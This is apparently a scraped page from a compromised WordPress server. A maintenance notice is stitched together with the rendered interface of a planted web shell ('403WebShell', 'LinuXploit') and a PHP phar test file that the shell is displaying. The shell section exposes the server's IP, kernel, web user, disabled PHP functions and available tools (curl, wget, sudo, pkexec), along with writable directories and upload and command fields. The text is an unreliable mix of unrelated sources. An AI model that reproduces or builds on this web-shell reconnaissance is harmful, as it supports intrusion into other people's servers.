WordPress

Briefly unavailable for scheduled maintenance.
Check back in a some hours.
Uname:Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64

Base Dir : /var/www/eduesan

User : www-data


403WebShell
403Webshell
Server IP : 202.131.237.196  /  Your IP : 216.73.216.192
Web Server : nginx/1.14.0
System : Linux wp 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User : www-data ( 33)
PHP Version : 7.2.24-0ubuntu0.18.04.17
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /www/server/php/72/src/ext/phar/tests/zip/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/server/php/72/src/ext/phar/tests/zip/phar_buildfromiterator8.phpt
--TEST--
Phar::buildFromIterator() iterator, SplFileInfo as current zip-based
--SKIPIF--
<?php if (!extension_loaded("phar")) die("skip"); ?>
--INI--
phar.readonly=0
--FILE--
<?php
try {
	chdir(dirname(__FILE__));
	$phar = new Phar(dirname(__FILE__) . '/buildfromiterator.phar.zip');
	$a = $phar->buildFromIterator(new RegexIterator(new DirectoryIterator('.'), '/^frontcontroller\d{0,2}\.phar\.phpt\\z|^\.\\z|^\.\.\\z/'), dirname(__FILE__) . DIRECTORY_SEPARATOR);
	asort($a);
	var_dump($a);
	var_dump($phar->isFileFormat(Phar::ZIP));
} catch (Exception $e) {
	var_dump(get_class($e));
	echo $e->getMessage() . "\n";
}
?>
===DONE===
--CLEAN--
<?php
unlink(dirname(__FILE__) . '/buildfromiterator.phar.zip');
__HALT_COMPILER();
?>
--EXPECTF--
array(21) {
  ["frontcontroller1.phar.phpt"]=>
  string(%d) "%sfrontcontroller1.phar.phpt"
  ["frontcontroller10.phar.phpt"]=>
  string(%d) "%sfrontcontroller10.phar.phpt"
  ["frontcontroller11.phar.phpt"]=>
  string(%d) "%sfrontcontroller11.phar.phpt"
  ["frontcontroller12.phar.phpt"]=>
  string(%d) "%sfrontcontroller12.phar.phpt"
  ["frontcontroller13.phar.phpt"]=>
  string(%d) "%sfrontcontroller13.phar.phpt"
  ["frontcontroller14.phar.phpt"]=>
  string(%d) "%sfrontcontroller14.phar.phpt"
  ["frontcontroller15.phar.phpt"]=>
  string(%d) "%sfrontcontroller15.phar.phpt"
  ["frontcontroller16.phar.phpt"]=>
  string(%d) "%sfrontcontroller16.phar.phpt"
  ["frontcontroller17.phar.phpt"]=>
  string(%d) "%sfrontcontroller17.phar.phpt"
  ["frontcontroller18.phar.phpt"]=>
  string(%d) "%sfrontcontroller18.phar.phpt"
  ["frontcontroller19.phar.phpt"]=>
  string(%d) "%sfrontcontroller19.phar.phpt"
  ["frontcontroller2.phar.phpt"]=>
  string(%d) "%sfrontcontroller2.phar.phpt"
  ["frontcontroller20.phar.phpt"]=>
  string(%d) "%sfrontcontroller20.phar.phpt"
  ["frontcontroller21.phar.phpt"]=>
  string(%d) "%sfrontcontroller21.phar.phpt"
  ["frontcontroller3.phar.phpt"]=>
  string(%d) "%sfrontcontroller3.phar.phpt"
  ["frontcontroller4.phar.phpt"]=>
  string(%d) "%sfrontcontroller4.phar.phpt"
  ["frontcontroller5.phar.phpt"]=>
  string(%d) "%sfrontcontroller5.phar.phpt"
  ["frontcontroller6.phar.phpt"]=>
  string(%d) "%sfrontcontroller6.phar.phpt"
  ["frontcontroller7.phar.phpt"]=>
  string(%d) "%sfrontcontroller7.phar.phpt"
  ["frontcontroller8.phar.phpt"]=>
  string(%d) "%sfrontcontroller8.phar.phpt"
  ["frontcontroller9.phar.phpt"]=>
  string(%d) "%sfrontcontroller9.phar.phpt"
}
bool(true)
===DONE===

Youez - 2016 - github.com/yon3zu
LinuXploit